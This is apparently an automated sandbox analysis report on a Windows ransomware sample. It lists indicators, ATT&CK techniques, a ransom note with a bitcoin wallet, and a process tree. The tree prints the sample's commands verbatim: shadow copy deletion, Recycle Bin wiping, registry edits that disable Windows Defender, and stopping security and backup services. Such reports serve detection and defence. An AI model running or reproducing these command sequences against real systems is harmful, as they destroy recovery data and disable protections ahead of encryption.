cd0f55dd00111251cd580c7e7cc1d17448faf27e4ef39818d75ce330628c7787

Analysis

max time kernel
150s
max time network
126s
platform
windows11-21h2_x64
resource
win11-20240214-en
resource tags

arch:x64arch:x86image:win11-20240214-enlocale:en-usos:windows11-21h2-x64system
submitted
19-02-2024 14:29

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General

Target

58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
Size

82KB
MD5

e01e11dca5e8b08fc8231b1cb6e2048c
SHA1

4983d07f004436caa3f10b38adacbba6a4ede01a
SHA256

58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f
SHA512

298bfb9fe55ddd80f1c6671622d7e9e865899a855b5bb8e0d85d8520160cedca6fd8bc72c9881925477bcab883bf6e6f4c69f997b774b74fe992e023a81269de
SSDEEP

1536:PcW4lAJGGnzjoih/NDh/NDuk+XkGAK/hztXcag+PlbBfkWIyvZrw281r5XsmCZEe:UWNGszjoih/NDh/NDuk+XkGAK/hztXcQ

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Signatures

Contains code to disable Windows Defender 1 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

Processes:

resource	yara_rule
behavioral8/memory/4732-0-0x00000000009C0000-0x00000000009DA000-memory.dmp	disable_win_def

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

Processes:

58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490
Renames multiple (56) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Blocklisted process makes network request 3 IoCs

Processes:

mshta.exe

flow pid process

5 5712 mshta.exe
6 5712 mshta.exe
7 5712 mshta.exe

flow	pid	process
5	5712	mshta.exe
6	5712	mshta.exe
7	5712	mshta.exe

Drops startup file 1 IoCs

Processes:

58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe

Windows security modification 2 TTPs 1 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

1 raw.githubusercontent.com
2 raw.githubusercontent.com

flow	ioc
1	raw.githubusercontent.com
2	raw.githubusercontent.com

Modifies WinLogon 2 TTPs 2 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

Processes:

58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption = "Information..."	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText = "Your Files are Encrypted.\r\n\r\nDon’t worry, you can return all your files!\r\n\r\nYou've got 48 hours(2 Days), before you lost your files forever.\r\nI will treat you good if you treat me good too.\r\n\r\nThe Price to get all things to the normal : 20,000$\r\nMy BTC Wallet ID :\r\n1F6sq8YvftTfuE4QcYxfK8s5XFUUHC7sD9\r\n\r\nContact :\r\[email protected]\r\n"	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe

Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exe

pid process

1220 sc.exe
3016 sc.exe
3132 sc.exe
3620 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
1220	sc.exe
3016	sc.exe
3132	sc.exe
3620	sc.exe

Interacts with shadow copies 2 TTPs 14 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

pid	process
3316	vssadmin.exe
892	vssadmin.exe
4800	vssadmin.exe
1364	vssadmin.exe
4864	vssadmin.exe
4848	vssadmin.exe
1252	vssadmin.exe
1856	vssadmin.exe
4772	vssadmin.exe
1572	vssadmin.exe
2032	vssadmin.exe
3004	vssadmin.exe
1500	vssadmin.exe
2464	vssadmin.exe

Kills process with taskkill 3 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exe

pid process

1416 taskkill.exe
4768 taskkill.exe
736 taskkill.exe
Runs net.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

6020 PING.EXE

pid	process
1416	taskkill.exe
4768	taskkill.exe
736	taskkill.exe

pid	process
6020	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exepowershell.exe

pid	process
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
3732	powershell.exe
3732	powershell.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exepowershell.exetaskkill.exetaskkill.exetaskkill.exe

description	pid	process
Token: SeDebugPrivilege	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
Token: SeDebugPrivilege	3732	powershell.exe
Token: SeDebugPrivilege	1416	taskkill.exe
Token: SeDebugPrivilege	4768	taskkill.exe
Token: SeDebugPrivilege	736	taskkill.exe

Suspicious use of FindShellTrayWindow 3 IoCs

Processes:

58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe

pid	process
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe

Suspicious use of SendNotifyMessage 3 IoCs

Processes:

58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe

pid	process
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe

description	pid	process	target process
PID 4732 wrote to memory of 3732	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	powershell.exe
PID 4732 wrote to memory of 3732	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	powershell.exe
PID 4732 wrote to memory of 3468	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 3468	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 2360	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 2360	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 4108	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 4108	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 4388	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 4388	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 2140	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 2140	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 3348	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 3348	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 3752	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 3752	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 4248	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 4248	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 3484	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 3484	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 3856	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 3856	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 4008	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 4008	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 2396	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 2396	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 3096	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 3096	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 1208	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 1208	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 2808	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 2808	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 2824	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 2824	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 4940	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 4940	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 712	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 712	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 692	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 692	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 992	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 992	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 896	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 896	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 2184	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 2184	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 1888	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 1888	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 3536	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 3536	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 5056	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 5056	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 1932	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	cmd.exe
PID 4732 wrote to memory of 1932	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	cmd.exe
PID 4732 wrote to memory of 3268	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 3268	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 2104	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 2104	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 2616	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 2616	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 1876	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 1876	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 1708	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe
PID 4732 wrote to memory of 1708	4732	58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe	net.exe

C:\Users\Admin\AppData\Local\Temp\58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
"C:\Users\Admin\AppData\Local\Temp\58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe"
1⤵
- Modifies Windows Defender Real-time Protection settings
- Drops startup file
- Windows security modification
- Modifies WinLogon
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" Get-MpPreference -verbose
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3732
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop mfewc /y
  2⤵
  PID:4108
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop mfewc /y
    3⤵
    PID:5248
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BMR Boot Service /y
  2⤵
  PID:4388
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BMR Boot Service /y
    3⤵
    PID:5468
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop Intuit.QuickBooks.FCS /y
  2⤵
  PID:3096
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y
    3⤵
    PID:5716
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1416
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
  2⤵
  PID:3548
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" Delete Shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3316
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:3004
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:1364
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:1856
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:4772
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:1500
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:1572
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:2464
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:4864
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:4848
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:2032
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:1252
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:892
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" Delete Shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4800
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4768
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:736
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SstpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:1220
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SQLWriter start= disabled
  2⤵
  - Launches sc.exe
  PID:3016
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
  2⤵
  - Launches sc.exe
  PID:3132
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SQLTELEMETRY start= disabled
  2⤵
  - Launches sc.exe
  PID:3620
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop sophos /y
  2⤵
  PID:5040
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop CAARCUpdateSvc /y
  2⤵
  PID:2380
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop CASAD2DWebSvc /y
  2⤵
  PID:1524
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop AcronisAgent /y
  2⤵
  PID:3792
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop AcrSch2Svc /y
  2⤵
  PID:4444
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecRPCService /y
  2⤵
  PID:1708
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecManagementService /y
  2⤵
  PID:1876
- C:\Windows\SYSTEM32\net.exe
